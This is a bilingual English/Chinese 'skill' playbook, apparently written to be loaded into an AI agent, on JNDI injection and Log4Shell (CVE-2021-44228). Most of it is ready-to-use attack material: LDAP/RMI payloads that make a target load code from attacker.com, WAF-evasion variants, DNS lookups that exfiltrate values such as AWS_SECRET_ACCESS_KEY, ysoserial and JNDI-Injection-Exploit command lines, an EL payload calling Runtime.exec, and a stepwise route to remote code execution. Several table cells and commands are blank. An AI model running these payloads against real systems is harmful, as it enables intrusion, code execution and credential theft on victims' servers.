SKILL: JNDI Injection — Expert Attack Playbook
SKILL: JNDI Injection — 专家攻击手册
AI LOAD INSTRUCTION: Expert JNDI injection techniques. Covers lookup mechanism abuse, RMI/LDAP class loading, JDK version constraints, Log4Shell (CVE-2021-44228), marshalsec tooling, and post-8u191 bypass via deserialization gadgets. Base models often confuse JNDI injection with general deserialization — this file clarifies the distinct attack surface.
AI加载说明: 专业JNDI注入技术,涵盖查找机制滥用、RMI/LDAP类加载、JDK版本限制、Log4Shell(CVE-2021-44228)、marshalsec工具,以及通过反序列化gadget实现的8u191之后版本的绕过。基础模型经常将JNDI注入与通用反序列化混淆,本文件明确了二者不同的攻击面。
0. RELATED ROUTING
0. 关联路径
- deserialization-insecure when JNDI leads to deserialization (post-8u191 bypass path)
- expression-language-injection when the JNDI sink is reached via SpEL or OGNL expression evaluation
- 不安全的反序列化 当JNDI触发反序列化时(8u191之后版本的绕过路径)
- 表达式语言注入 当通过SpEL或OGNL表达式执行到达JNDI sink点时
JNDI (Java Naming and Directory Interface) provides a unified API for looking up objects from naming/directory services (RMI, LDAP, DNS, CORBA).
Vulnerability: when
InitialContext.lookup(USER_INPUT)
receives an attacker-controlled URL, the JVM connects to the attacker's server and loads/executes arbitrary code.
java
// Vulnerable code pattern:
String name = request.getParameter("resource");
Context ctx = new InitialContext();
Object obj = ctx.lookup(name); // name = "ldap://attacker.com/Exploit"
JNDI(Java命名与目录接口)提供了统一的API,用于从命名/目录服务(RMI、LDAP、DNS、CORBA)中查找对象。
漏洞原理: 当
InitialContext.lookup(USER_INPUT)
接收到攻击者可控的URL时,JVM会连接到攻击者的服务器并加载/执行任意代码。
java
// 漏洞代码模式:
String name = request.getParameter("resource");
Context ctx = new InitialContext();
Object obj = ctx.lookup(name); // name = "ldap://attacker.com/Exploit"
RMI (Remote Method Invocation)
RMI(远程方法调用)
rmi://attacker.com:1099/Exploit
Attacker runs an RMI server returning a
object pointing to a remote class:
java
// Attacker's RMI server returns:
Reference ref = new Reference("Exploit", "Exploit", "http://attacker.com/");
// JVM downloads http://attacker.com/Exploit.class and instantiates it
rmi://attacker.com:1099/Exploit
java
// 攻击者的RMI服务器返回内容:
Reference ref = new Reference("Exploit", "Exploit", "http://attacker.com/");
// JVM会下载http://attacker.com/Exploit.class并实例化该类
ldap://attacker.com:1389/cn=Exploit
Attacker runs an LDAP server returning entries with
,
, or serialized object attributes.
LDAP is preferred over RMI because LDAP restrictions were added later (JDK 8u191 vs 8u121 for RMI).
ldap://attacker.com:1389/cn=Exploit
攻击者运行的LDAP服务器会返回携带
、
或序列化对象属性的条目。
LDAP比RMI更常用,因为LDAP的限制添加得更晚(RMI的限制从JDK 8u121开始,LDAP的限制从JDK 8u191开始)。
DNS (detection only)
DNS(仅用于检测)
dns://attacker-dns-server/lookup-name
Useful for confirming JNDI injection without RCE — triggers DNS query to attacker's authoritative NS.
dns://attacker-dns-server/lookup-name
可在不触发RCE的情况下确认JNDI注入存在——会触发对攻击者权威DNS服务器的查询请求。
3. JDK VERSION CONSTRAINTS AND BYPASS
3. JDK版本限制与绕过
| JDK Version | RMI Remote Class | LDAP Remote Class | Bypass |
|---|
| < 8u121 | YES | YES | Direct class loading |
| 8u121 – 8u190 | NO () | YES | Use LDAP vector |
| >= 8u191 | NO | NO | Return serialized gadget object via LDAP |
| >= 8u191 (alternative) | NO | NO | + EL injection |
| JDK 版本 | RMI 远程类加载 | LDAP 远程类加载 | 绕过方案 |
|---|
| < 8u121 | 支持 | 支持 | 直接类加载 |
| 8u121 – 8u190 | 不支持() | 支持 | 使用LDAP攻击向量 |
| >= 8u191 | 不支持 | 不支持 | 通过LDAP返回序列化gadget对象 |
| >= 8u191(替代方案) | 不支持 | 不支持 | + EL注入 |
Post-8u191 Bypass: LDAP → Serialized Gadget
8u191之后版本绕过:LDAP → 序列化Gadget
Instead of returning a remote class URL, the attacker's LDAP server returns a
serialized Java object in the
attribute. The JVM deserializes it locally — if a gadget chain (e.g., CommonsCollections) is on the classpath, RCE is achieved.
攻击者的LDAP服务器不再返回远程类URL,而是在
属性中返回
序列化Java对象。JVM会在本地反序列化该对象——如果类路径中存在可用的gadget链(比如CommonsCollections),即可实现RCE。
ysoserial JRMPListener approach:
ysoserial JRMPListener 方案:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "id"
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "id"
Then JNDI lookup points to: rmi://attacker:1099/whatever
之后JNDI查找指向: rmi://attacker:1099/whatever
Post-8u191 Bypass: BeanFactory + EL
8u191之后版本绕过:BeanFactory + EL
When Tomcat's
is on the classpath, the LDAP response can reference it as a factory with EL expressions:
javaClassName: javax.el.ELProcessor
javaFactory: org.apache.naming.factory.BeanFactory
forceString: x=eval
x: Runtime.getRuntime().exec("id")
当类路径中存在Tomcat的
时,LDAP响应可以将其作为工厂类引用,携带EL表达式:
javaClassName: javax.el.ELProcessor
javaFactory: org.apache.naming.factory.BeanFactory
forceString: x=eval
x: Runtime.getRuntime().exec("id")
marshalsec — JNDI Reference Server
marshalsec — JNDI Reference服务器
Start LDAP server serving a remote class:
启动LDAP服务器,提供远程类加载:
Start RMI server:
启动RMI服务器:
JNDI-Injection-Exploit (all-in-one)
JNDI-Injection-Exploit(一站式工具)
bash
java -jar JNDI-Injection-Exploit.jar -C "command" -A attacker_ip
bash
java -jar JNDI-Injection-Exploit.jar -C "command" -A attacker_ip
Automatically starts RMI + LDAP servers with multiple bypass strategies
自动启动RMI + LDAP服务器,内置多种绕过策略
bash
java -jar RogueJndi.jar --command "id" --hostname attacker.com
bash
java -jar RogueJndi.jar --command "id" --hostname attacker.com
Provides RMI, LDAP, and HTTP servers with auto-generated payloads
提供RMI、LDAP和HTTP服务器,自动生成payload
5. LOG4J2 — CVE-2021-44228 (LOG4SHELL)
5. LOG4J2 — CVE-2021-44228 (LOG4SHELL)
Log4j2 supports
Lookups — expressions like
that are evaluated in log messages. The
lookup triggers
:
${jndi:ldap://attacker.com/x}
Any logged string containing this pattern triggers the vulnerability — User-Agent, form fields, HTTP headers, URL paths, error messages.
Log4j2支持
查找功能——日志消息中形如
的表达式会被执行,其中
查找会触发
:
${jndi:ldap://attacker.com/x}
任何被记录的字符串只要包含这个模式就会触发漏洞——User-Agent、表单字段、HTTP头、URL路径、错误消息等。
Detection Payloads
检测Payload
text
${jndi:ldap://TOKEN.collab.net/a}
${jndi:dns://TOKEN.collab.net}
${jndi:rmi://TOKEN.collab.net/a}
text
${jndi:ldap://TOKEN.collab.net/a}
${jndi:dns://TOKEN.collab.net}
${jndi:rmi://TOKEN.collab.net/a}
Exfiltrate environment info via DNS:
通过DNS外带环境信息:
${jndi:ldap://${sys:java.version}.TOKEN.collab.net}
${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.TOKEN.collab.net}
${jndi:ldap://${hostName}.TOKEN.collab.net}
${jndi:ldap://${sys:java.version}.TOKEN.collab.net}
${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.TOKEN.collab.net}
${jndi:ldap://${hostName}.TOKEN.collab.net}
WAF Bypass Variants
WAF绕过变体
Log4j2's lookup parser is very flexible:
text
${${lower:j}ndi:ldap://attacker.com/x}
${${upper:j}${upper:n}${upper:d}i:ldap://attacker.com/x}
${${::-j}${::-n}${::-d}${::-i}:ldap://attacker.com/x}
${j${::-n}di:ldap://attacker.com/x}
${jndi:l${lower:D}ap://attacker.com/x}
${${env:NaN:-j}ndi${env:NaN:-:}ldap://attacker.com/x}
Log4j2的查找解析器非常灵活:
text
${${lower:j}ndi:ldap://attacker.com/x}
${${upper:j}${upper:n}${upper:d}i:ldap://attacker.com/x}
${${::-j}${::-n}${::-d}${::-i}:ldap://attacker.com/x}
${j${::-n}di:ldap://attacker.com/x}
${jndi:l${lower:D}ap://attacker.com/x}
${${env:NaN:-j}ndi${env:NaN:-:}ldap://attacker.com/x}
Split-Log Bypass (Advanced)
日志拆分绕过(高级)
When WAF detects paired
in a single request, split across two log entries:
当WAF会检测单个请求中配对的
时,可以将payload拆分到两条日志中:
Request 1 (logged first):
请求1(先被记录):
X-Custom: ${jndi:ldap://attacker.com/
X-Custom: ${jndi:ldap://attacker.com/
Request 2 (logged second):
请求2(后被记录):
X-Custom: exploit}
If the application concatenates log entries before re-processing (e.g., aggregation pipelines), the combined `${jndi:ldap://attacker.com/exploit}` triggers.
X-Custom: exploit}
如果应用在二次处理前会拼接日志条目(比如日志聚合管道),拼接后的`${jndi:ldap://attacker.com/exploit}`就会触发漏洞。
Real-World Case: Solr Log4Shell
真实案例:Solr Log4Shell
Confirm via DNSLog — Solr admin cores API:
通过DNSLog确认漏洞 — Solr admin cores API:
GET /solr/admin/cores?action=${jndi:ldap://${sys:java.version}.TOKEN.dnslog.cn}
GET /solr/admin/cores?action=${jndi:ldap://${sys:java.version}.TOKEN.dnslog.cn}
DNS hit with Java version = confirmed Log4Shell in Solr
收到携带Java版本的DNS请求 = 确认Solr存在Log4Shell漏洞
Injection Points to Test
需要测试的注入点
text
User-Agent X-Forwarded-For Referer
Accept-Language X-Api-Version Authorization
Cookie values URL path segments POST body fields
Search queries File upload names Form field names
GraphQL variables SOAP/XML elements JSON values
text
User-Agent X-Forwarded-For Referer
Accept-Language X-Api-Version Authorization
Cookie值 URL路径片段 POST请求体字段
搜索查询词 上传文件名 表单字段名
GraphQL变量 SOAP/XML元素 JSON值
- Log4j2 2.0-beta9 through 2.14.1
- Fixed in 2.15.0 (partial), fully fixed in 2.17.0
- Log4j 1.x is NOT affected (different lookup mechanism)
- Log4j2 2.0-beta9 到 2.14.1
- 2.15.0部分修复,2.17.0完全修复
- Log4j 1.x不受影响(查找机制不同)
6. OTHER JNDI SINKS (BEYOND LOG4J)
6. 其他JNDI Sink点(除Log4j外)
| Product / Framework | Sink |
|---|
| Spring Framework | |
| Apache Solr | Config API, VelocityResponseWriter |
| Apache Druid | Various config endpoints |
| VMware vCenter | Multiple endpoints |
| H2 Database Console | JNDI connection string |
| Fastjson | + JdbcRowSetImpl.setDataSourceName()
|
| 产品/框架 | Sink点 |
|---|
| Spring Framework | |
| Apache Solr | 配置API、VelocityResponseWriter |
| Apache Druid | 多个配置端点 |
| VMware vCenter | 多个端点 |
| H2 Database Console | JNDI连接字符串 |
| Fastjson | + JdbcRowSetImpl.setDataSourceName()
|
7. TESTING METHODOLOGY
7. 测试流程
Suspected JNDI injection point?
├── Send DNS-only probe: ${jndi:dns://TOKEN.collab.net}
│ └── DNS hit? → Confirmed JNDI evaluation
│
├── Determine JDK version:
│ └── ${jndi:ldap://${sys:java.version}.TOKEN.collab.net}
│
├── JDK < 8u191?
│ ├── Start marshalsec LDAP server with remote class
│ └── ${jndi:ldap://attacker:1389/Exploit} → direct RCE
│
├── JDK >= 8u191?
│ ├── LDAP → serialized gadget (need gadget chain on classpath)
│ ├── BeanFactory + EL (need Tomcat on classpath)
│ └── JRMPListener via ysoserial
│
└── WAF blocking ${jndi:...}?
└── Try obfuscation: ${${lower:j}ndi:...}
疑似存在JNDI注入点?
├── 发送仅DNS探测Payload: ${jndi:dns://TOKEN.collab.net}
│ └── 收到DNS请求? → 确认存在JNDI执行
│
├── 确定JDK版本:
│ └── ${jndi:ldap://${sys:java.version}.TOKEN.collab.net}
│
├── JDK < 8u191?
│ ├── 启动marshalsec LDAP服务器,托管远程类
│ └── ${jndi:ldap://attacker:1389/Exploit} → 直接RCE
│
├── JDK >= 8u191?
│ ├── LDAP → 序列化gadget(需要类路径中存在gadget链)
│ ├── BeanFactory + EL(需要类路径中存在Tomcat)
│ └── 通过ysoserial启动JRMPListener
│
└── WAF拦截${jndi:...}?
└── 尝试混淆: ${${lower:j}ndi:...}
8. QUICK REFERENCE
8. 快速参考
Safe confirmation (DNS only):
安全确认(仅DNS):
${jndi:dns://TOKEN.collab.net}
${jndi:dns://TOKEN.collab.net}
LDAP RCE (JDK < 8u191):
LDAP RCE(JDK < 8u191):
${jndi:ldap://ATTACKER:1389/Exploit}
${jndi:ldap://ATTACKER:1389/Exploit}
Version exfiltration:
版本外带:
${jndi:ldap://${sys:java.version}.TOKEN.collab.net}
${jndi:ldap://${sys:java.version}.TOKEN.collab.net}
Log4Shell with WAF bypass:
Log4Shell WAF绕过:
${${lower:j}ndi:${lower:l}dap://ATTACKER/x}
${${lower:j}ndi:${lower:l}dap://ATTACKER/x}
Start LDAP reference server:
启动LDAP reference服务器:
Post-8u191 — ysoserial JRMP:
8u191之后版本 — ysoserial JRMP:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "id"
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "id"